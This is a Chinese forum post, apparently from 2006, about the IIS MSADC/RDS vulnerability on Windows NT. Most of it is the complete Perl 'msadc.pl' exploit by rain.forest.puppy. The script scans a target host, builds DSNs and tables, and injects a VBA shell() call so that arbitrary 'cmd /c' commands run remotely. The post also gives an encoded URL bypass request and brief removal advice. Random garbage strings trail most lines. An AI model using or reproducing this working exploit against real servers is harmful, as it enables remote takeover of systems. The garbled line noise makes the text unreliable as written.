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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) :|ah u  
FAc^[~E  
涉及程序: jK[*_V  
Microsoft NT server '`<Fys&:  
#1*7eANfr  
描述: 4bw4!z9G  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 nJYIkfdA  
* Wp?0CP  
详细: \I}EWI  
如果你没有时间读详细内容的话,就删除: (xTGt",_Jo  
c:\Program Files\Common Files\System\Msadc\msadcs.dll {fV$\^c  
有关的安全问题就没有了。 %#&njP  
t\YM Hq<Y  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 0!0o[3*  
umnQ$y 0  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 +rSU  
关于利用ODBC远程漏洞的描述,请参看: CSW+UaE  
Gl|n}wo$  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm B6Ajcfy  
#l- 0$  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 q o^mp  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp ~UeTV?)  
a%kvC#B  
这里不再论述。 h*1T3U$  
R)SY#*Y  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: o-l-Z|)7  
FZ]+(Q"]:  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset H=~7g3  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! ,=G]tnsv^  
dcq18~  
Y}2Sr-@u  
#将下面这段保存为txt文件,然后: "perl -x 文件名" gE^pOn  
3 4%B0  
#!perl j6k"%QHf  
# uH'?Ikx"  
# MSADC/RDS 'usage' (aka exploit) script 7hPwa3D^  
# / bH2Z  
# by rain.forest.puppy aMHC+R1X  
# %-K5sIz  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me 84e8z{  
# beta test and find errors! lEHXh2  
;&}z L.!jo  
use Socket; use Getopt::Std; KDP47A  
getopts("e:vd:h:XR", \%args); :HY =^$\  
xw_)~Y%\  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; @Y.r ,q  
FAM:; F30  
if (!defined $args{h} && !defined $args{R}) { o^"OKHU,S0  
print qq~ ;;Z'd@  
Usage: msadc.pl -h <host> { -d <delay> -X -v } &&LB0vH!J  
-h <host> = host you want to scan (ip or domain) HYT~AO-!  
-d <seconds> = delay between calls, default 1 second $- %um  
-X = dump Index Server path table, if available EN/t5d  
-v = verbose ' i5KRFy-  
-e = external dictionary file for step 5 $YY{|8@kjv  
yk5K8D[tV  
Or a -R will resume a command session < Mu`,Kv*  
;Sg.E 8  
~; exit;} m0h,!  
 #$2/<  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; } d8\ Jg  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} LA 2/<:  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} &hL2xx=  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); 4J(-~  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} Q/4ICgo4  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } &)||~  
cqs.[0 z#B  
if (!defined $args{R}){ $ret = &has_msadc; 7 wEv`5  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} #Y   
6~W@$SP,F  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" ~@-r  
. "cmd /c "; :KXI@)M  
$in=<STDIN>; chomp $in; 8c9<kGm$E  
$command="cmd /c " . $in ; aL90:,V  
M,li\)J!&  
if (defined $args{R}) {&load; exit;} &s?uMWR  
5}]+|d;  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; [ @"6:tTU  
&try_btcustmr; $2i@@#g8  
% C2Vga#  
print "\nStep 2: Trying to make our own DSN..."; NR k~  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; `]6<j<' ,  
e`7>QS ;.  
print "\nStep 3: Trying known DSNs..."; L1(-xNUo_i  
&known_dsn; U{pg y#/  
Qf ~$9?z  
print "\nStep 4: Trying known .mdbs..."; z;<~j=lP  
&known_mdb; &Q}%b7  
U{[YCs fk  
if (defined $args{e}){ vZ srlHb  
print "\nStep 5: Trying dictionary of DSN names..."; {}Is&^3Z  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } aD'Ax\-  
CX\XaM)l  
print "Sorry Charley...maybe next time?\n";  ^QJJ2jZ  
exit; VzHrKI  
H6j t[  
############################################################################## x lqP%  
Mb\(52`)Q  
sub sendraw { # ripped and modded from whisker ,>kVVpu  
sleep($delay); # it's a DoS on the server! At least on mine... Ng W"wh  
my ($pstr)=@_; cYC^;,C &|  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || a9{NAyl<oo  
die("Socket problems\n"); ' F9gp!s8~  
if(connect(S,pack "SnA4x8",2,80,$target)){ p0zC(v0*  
select(S); $|=1; LK}FI* A_  
print $pstr; my @in=<S>; l,l6j";ohd  
select(STDOUT); close(S); 6XU p$Pd(  
return @in; BU??}{  
} else { die("Can't connect...\n"); }} s>L.V2!$0  
7t<MHdw  
############################################################################## h| wdx(4  
eh]sye KBj  
sub make_header { # make the HTTP request .lP',hn  
my $msadc=<<EOT {GnZ@Q:F  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 M")/6PH8  
User-Agent: ACTIVEDATA ;l @lA)i  
Host: $ip ivq(eKy  
Content-Length: $clen 6z6\xkr  
Connection: Keep-Alive vWeY[>oGur  
#(Gz?kGAH`  
ADCClientVersion:01.06 *xsBFCRU  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 p!uB8F  
{R@V  
--!ADM!ROX!YOUR!WORLD! Lkx~>U   
Content-Type: application/x-varg )&>W/56/  
Content-Length: $reqlen YMK ![ q-  
K@cWg C  
EOT ~KkC089D  
; $msadc=~s/\n/\r\n/g; #m?)XB^_  
return $msadc;} 5toa@#Bc%  
AL3iNkEa  
############################################################################## J9]cs?`)  
z5M6  
sub make_req { # make the RDS request -40X3  
my ($switch, $p1, $p2)=@_; _~\ } fY  
my $req=""; my $t1, $t2, $query, $dsn; Is }kCf  
a%b E}  
if ($switch==1){ # this is the btcustmr.mdb query Rb:<?&7ZzN  
$query="Select * from Customers where City=" . make_shell(); 76<mP*5  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . y||RK` H  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} _Q I!UQdW  
*. |%uf.  
elsif ($switch==2){ # this is general make table query t$Rc 0  
$query="create table AZZ (B int, C varchar(10))"; xt,Qn460;  
$dsn="$p1";} -mRgB"8  
oU\7%gQ  
elsif ($switch==3){ # this is general exploit table query -q{N1? tcy  
$query="select * from AZZ where C=" . make_shell(); g:JSy  
$dsn="$p1";} '&#gs P9  
SKnYeT  
elsif ($switch==4){ # attempt to hork file info from index server JRFUNy1+e1  
$query="select path from scope()"; ws!~MSIy  
$dsn="Provider=MSIDXS;";} G(#t,}S}@  
C7NSmZ  
elsif ($switch==5){ # bad query =VuSi(d;e{  
$query="select"; p5or"tK  
$dsn="$p1";} M;ADL|  
~:T@SrVI  
$t1= make_unicode($query); 2m yxwA5  
$t2= make_unicode($dsn); eeCG#NFY5  
$req = "\x02\x00\x03\x00"; miQ*enZi  
$req.= "\x08\x00" . pack ("S1", length($t1)); X]@"ZV[  
$req.= "\x00\x00" . $t1 ; *4`5&) `  
$req.= "\x08\x00" . pack ("S1", length($t2)); AK&>3D  
$req.= "\x00\x00" . $t2 ; |w{Qwf!2  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; \b(&-=(  
return $req;} ~KMah  
E;C{i  
############################################################################## j`RG Moq  
Z8xB a0  
sub make_shell { # this makes the shell() statement .06D_L"M  
return "'|shell(\"$command\")|'";} mWaij]1>  
)< G(C,!,.  
############################################################################## ?=&S?p)-<  
vFR *3$ R  
sub make_unicode { # quick little function to convert to unicode 9N9&y^SmD  
my ($in)=@_; my $out; fuUtM_11  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } .4 WJk>g  
return $out;} T*C25l;w  
4y7_P0}:B  
############################################################################## -]zb3P  
nD*iSb*  
sub rdo_success { # checks for RDO return success (this is kludge) uWdF7|PN7  
my (@in) = @_; my $base=content_start(@in); 04|ZwX$>+  
if($in[$base]=~/multipart\/mixed/){ <.4(#Ebd  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} Bgc]t  
return 0;} <F0^+Pf/  
EA6l11{Gk1  
############################################################################## o$.#A]Flb  
>{Hg+/  
sub make_dsn { # this makes a DSN for us ")uKDq  
my @drives=("c","d","e","f"); Ei@  
print "\nMaking DSN: "; \/3(>g?4  
foreach $drive (@drives) { ZJBb% d1;  
print "$drive: "; z&d.YO_W  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . iVZ}+Ct<"  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" Io3-\Ff  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); $Xlr@)%  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; *%KIq/V  
return 0 if $2 eq "404"; # not found/doesn't exist \Yr*x7!  
if($2 eq "200") { d%'#-w'  
foreach $line (@results) { |@JTSz*Or  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} { %X2K  
} return 0;} 4joE"H6  
@s-P!uCaT  
############################################################################## . i4aM;Qy  
R~oJ-} iYX  
sub verify_exists { iXnXZ|M  
my ($page)=@_; ftPps -  
my @results=sendraw("GET $page HTTP/1.0\n\n"); (y>N\xS9  
return $results[0];} S^p b9~  
,jg #^47I  
############################################################################## ,R`CAf%*  
xc}[q`vK  
sub try_btcustmr { C+s/KA%  
my @drives=("c","d","e","f"); X#$ oV#  
my @dirs=("winnt","winnt35","winnt351","win","windows"); %(eQ1ir+  
"crR{OjE"  
foreach $dir (@dirs) { T/P\j0hR  
print "$dir -> "; # fun status so you can see progress q\o#<'F1J  
foreach $drive (@drives) { K.}jOm  
print "$drive: "; # ditto x7zc3%T's  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; ]z^jz#>um&  
$reqlenlen=length( "$reqlen" ); MZh.Xo  
$clen= 206 + $reqlenlen + $reqlen; 1 gjaTPwY  
6L8nw+mEK  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); %MHL@Nn>e  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} BNdq=|,+"  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} jJiuq#;T3  
/ =6_2t#vA  
############################################################################## qco'neR"z  
# atq7t X  
sub odbc_error { Ly2,*\7  
my (@in)=@_; my $base; Y0,{fw<  
my $base = content_start(@in); 3?FY?Q[  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this $mM"C+dD  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; nb/q!8  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; #0<pRDXj  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 2PSExK57  
return $in[$base+4].$in[$base+5].$in[$base+6];} ' /HShS!d  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; L1RD`qXu.  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . WS n>P7sY  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 1i z =i^}  
^aAs=KditO  
############################################################################## {"Sv~L|J;  
\UK}B  
sub verbose { 5\quh2Q_  
my ($in)=@_; Ro2V-6 /  
return if !$verbose; #1J ,!seJ  
print STDOUT "\n$in\n";} wL),/i&<  
nzaDO-2!  
############################################################################## ZzE(S  
O6y:e #0z  
sub save { j67a?0<C2U  
my ($p1, $p2, $p3, $p4)=@_; Qt4mg?X/  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; qWr=Oiu  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; #(614-r/  
close OUT;} ?fy37m(M}  
k(H]ILL  
############################################################################## md{nHX&  
q$" u<  
sub load {  ?pEPwc  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; e5bXgmyil  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); g]&fyB#  
@p=<IN>; close(IN); 5"nq h}5  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); vOlfyH>  
$target= inet_aton($ip) || die("inet_aton problems"); 4utwcXL  
print "Resuming to $ip ..."; $||WI}k3V  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; p4z4[=-:  
if($p[1]==1) { *]yrN`  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; }>@SyE'Q  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; 4Y59^  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); $5G(_   
if (rdo_success(@results)){print "Success!\n";} Iz+%wAZ|B6  
else { print "failed\n"; verbose(odbc_error(@results));}} O/#3QK  
elsif ($p[1]==3){ _=I1  
if(run_query("$p[3]")){ 'hr_g* i  
print "Success!\n";} else { print "failed\n"; }} M%ecWr!tj  
elsif ($p[1]==4){ apm%\dN  
if(run_query($drvst . "$p[3]")){ m^L!_~  
print "Success!\n"; } else { print "failed\n"; }} F*U(Wl=  
exit;} }b54O\,  
>A{Dpsi\  
############################################################################## [6l0|Y  
F;#$Q  
sub create_table { Gz{%Z$A~o  
my ($in)=@_; kB@gy}  
$reqlen=length( make_req(2,$in,"") ) - 28; _0Ea 3K  
$reqlenlen=length( "$reqlen" ); O)&W0` VY  
$clen= 206 + $reqlenlen + $reqlen; l GYW[0dy  
my @results=sendraw(make_header() . make_req(2,$in,"")); ddN(L`nd  
return 1 if rdo_success(@results); eoww N>-2C  
my $temp= odbc_error(@results); verbose($temp); Tfh2>  
return 1 if $temp=~/Table 'AZZ' already exists/; /A0_#g:2*#  
return 0;} 7 w,D2T  
hGD@v {/  
############################################################################## *bp09XG  
X9?)P5h=  
sub known_dsn { MUl7o@{'  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go e]1'D  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", [#Apd1S_  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", ,TWlg  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); Rnwm6nu  
'-A;B.GV%  
foreach $dSn (@dsns) { 5XX)8gAo  
print "."; >6Uc|D  
next if (!is_access("DSN=$dSn")); L,A+"  
if(create_table("DSN=$dSn")){ -'qVnu  
print "$dSn successful\n"; I;JV-jDM  
if(run_query("DSN=$dSn")){ i;{lY1  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { $`GlXiV  
print "Something's borked. Use verbose next time\n";}}} print "\n";} *CXc{{  
^dLu#,;  
############################################################################## MkMDI)Y|  
Y910\h@V  
sub is_access { yH" i5L9  
my ($in)=@_; Szt2 "AR  
$reqlen=length( make_req(5,$in,"") ) - 28; [(Z(8{3i  
$reqlenlen=length( "$reqlen" ); ^=^\=9" b  
$clen= 206 + $reqlenlen + $reqlen; Z#@  
my @results=sendraw(make_header() . make_req(5,$in,"")); Zfk]Z9YO  
my $temp= odbc_error(@results); 2LN6pu  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); X7-*`NI^  
return 0;} A"pQOtrm\k  
\;MP|:{pU  
############################################################################## dz+!yE\f$  
RdD>&D$I  
sub run_query { `,SL\\%u  
my ($in)=@_; ,*W~M&n"m  
$reqlen=length( make_req(3,$in,"") ) - 28; RN 4?]8  
$reqlenlen=length( "$reqlen" ); *_I`{9~'  
$clen= 206 + $reqlenlen + $reqlen; %`k [xz  
my @results=sendraw(make_header() . make_req(3,$in,"")); AR( gI]1  
return 1 if rdo_success(@results); `l'T/F \  
my $temp= odbc_error(@results); verbose($temp); `PAQv+EYz  
return 0;} t<fah3hl  
QB X EM=  
############################################################################## m2^vH+wD  
>x*[izr/K  
sub known_mdb { 9soEHG=P  
my @drives=("c","d","e","f","g"); XcT!4xG0  
my @dirs=("winnt","winnt35","winnt351","win","windows"); DqWy@7 a  
my $dir, $drive, $mdb; C~4SPCU  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; rP]|`*B  
_D}3``  
# this is sparse, because I don't know of many Ojz'p5d`>  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 3m75mny  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", Nzgi)xX0HX  
"\\system32\\certmdb.mdb", ?xv."I%  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% uz+ WVmb  
nxV!mh_  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", OEaL2T  
"\\cfusion\\cfapps\\forums\\forums_.mdb", #pPOQv:~  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", .*YF{!R`h  
"\\cfusion\\cfapps\\security\\realm_.mdb", :@jctH~  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", %ZD]qaU0  
"\\cfusion\\database\\cfexamples.mdb", P\K#q%8  
"\\cfusion\\database\\cfsnippets.mdb", Ox#vW6;)  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", G7Ck P  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", F-zIzzb&O  
"\\cfusion\\brighttiger\\database\\cleam.mdb", h[qZM  
"\\cfusion\\database\\smpolicy.mdb", ?7wcv$K5  
"\\cfusion\\database\cypress.mdb", k^|z.$+  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", ox`Zs2-a  
"\\website\\cgi-win\\dbsample.mdb", ppn  8  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", <QvVPE}z   
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" RuYIG?J=/  
); #these are just 67&IaDts  
foreach $drive (@drives) { I)1ih  
foreach $dir (@dirs){ ] / Nt  
foreach $mdb (@sysmdbs) { 7xO05)bz  
print "."; _+ 9i  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ eE'>kP}  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; -4+'(3qr  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ *cM=>3ws/  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; uQH]  
} else { print "Something's borked. Use verbose next time\n"; }}}}} 0J/yd  
V0 {#q/q  
foreach $drive (@drives) { OEl;R7aOB&  
foreach $mdb (@mdbs) { ?xUl_  
print "."; )t+pwh!8  
if(create_table($drv . $drive . $dir . $mdb)){ kOo  Vqu  
print "\n" . $drive . $dir . $mdb . " successful\n"; T8\@CV!  
if(run_query($drv . $drive . $dir . $mdb)){ mK$E&,OkA  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; _4) t  
} else { print "Something's borked. Use verbose next time\n"; }}}} :Ef!gpS}?R  
} 8tSY|ME  
oQh;lb  
############################################################################## r=3`Eb"t  
iJhieNn  
sub hork_idx { Z<>gx m<  
print "\nAttempting to dump Index Server tables...\n";  kSEA  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; Y>aVnixx<  
$reqlen=length( make_req(4,"","") ) - 28; U/{t "e  
$reqlenlen=length( "$reqlen" ); sryA(V  
$clen= 206 + $reqlenlen + $reqlen; X=-=z5  
my @results=sendraw2(make_header() . make_req(4,"","")); USEmD5q  
if (rdo_success(@results)){ {M:/HQo  
my $max=@results; my $c; my %d; <%3fJt-Ie  
for($c=19; $c<$max; $c++){ CC!`fX6z>h  
$results[$c]=~s/\x00//g; Pi=FnS  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; aWimg6q  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; 5P<1I7d  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; 0vLx={i  
$d{"$1$2"}="";} 1J1Jp|j.  
foreach $c (keys %d){ print "$c\n"; } *A!M0TK?i,  
} else {print "Index server doesn't seem to be installed.\n"; }} A4(L47^  
XM!oN^  
############################################################################## DZL(G [  
i 7T#WfF  
sub dsn_dict { }2S!;swg+  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); 6!0NFP~b  
while(<IN>){ _YR#J%xa  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; cd,'37pZ  
next if (!is_access("DSN=$dSn")); cHr]{@7Cs  
if(create_table("DSN=$dSn")){ YIW9z{rrs  
print "$dSn successful\n"; XsJ`x  
if(run_query("DSN=$dSn")){ d(t)8k$  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { H#GR*4x  
print "Something's borked. Use verbose next time\n";}}} pW8?EGO@  
print "\n"; close(IN);} -SD:G]un  
jA?[*HB  
############################################################################## }Y.@:v j  
5YPIv-  
sub sendraw2 { # ripped and modded from whisker :| k!hG  
sleep($delay); # it's a DoS on the server! At least on mine... +7OE,RoQ  
my ($pstr)=@_; W:n\,P  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ;C o"bP's  
die("Socket problems\n"); )?&mCI*  
if(connect(S,pack "SnA4x8",2,80,$target)){ o7+<sL  
print "Connected. Getting data"; bS:$VyH6  
open(OUT,">raw.out"); my @in; GB `n  
select(S); $|=1; print $pstr; } %0 w25  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} *{5}m(5F  
close(OUT); select(STDOUT); close(S); return @in; =3hJti9[  
} else { die("Can't connect...\n"); }} }mp`!7?>O  
PJKY$s.  
############################################################################## " Ke_dM  
=>Ae]mi 7  
sub content_start { # this will take in the server headers Kc r)W  
my (@in)=@_; my $c; h\#4[/  
for ($c=1;$c<500;$c++) { IuPDr %  
if($in[$c] =~/^\x0d\x0a/){ ~hk!N!J\  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } IA1O]i S  
else { return $c+1; }}} (*eX'^Q)d  
return -1;} # it should never get here actually rA<J^dX=C  
:FSg%IUX  
############################################################################## :W&kl UU"  
3<FqK\P  
sub funky { H"pYj  
my (@in)=@_; my $error=odbc_error(@in); }T902RL0  
if($error=~/ADO could not find the specified provider/){ vQXF$/S  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; myXGMN$i  
exit;} *URY8 a`bO  
if($error=~/A Handler is required/){ P >0S ZP  
print "\nServer has custom handler filters (they most likely are patched)\n"; Brg0:5H   
exit;} ]lJ#|zd8o  
if($error=~/specified Handler has denied Access/){ >oy%qLHe~t  
print "\nServer has custom handler filters (they most likely are patched)\n"; )rA\+XT7  
exit;}} \K9Y@jnr  
|OF3J,q  
############################################################################## (ce)A,;  
-{eiV0<^  
sub has_msadc { 7je1vNs  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); T;3~teVYB  
my $base=content_start(@results); c?xeBC1-  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); vA*NJ%&`  
return 0;} {QK9pZB  
k]& I(VQ"  
######################## Obc,    
N]c:8dOj  
 h;K9}w  
解决方案: :1iXBG\  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll uTbMp~cYB  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 :]C\DUBo  
0Z%<H\Z  
拿出来充数 哈哈
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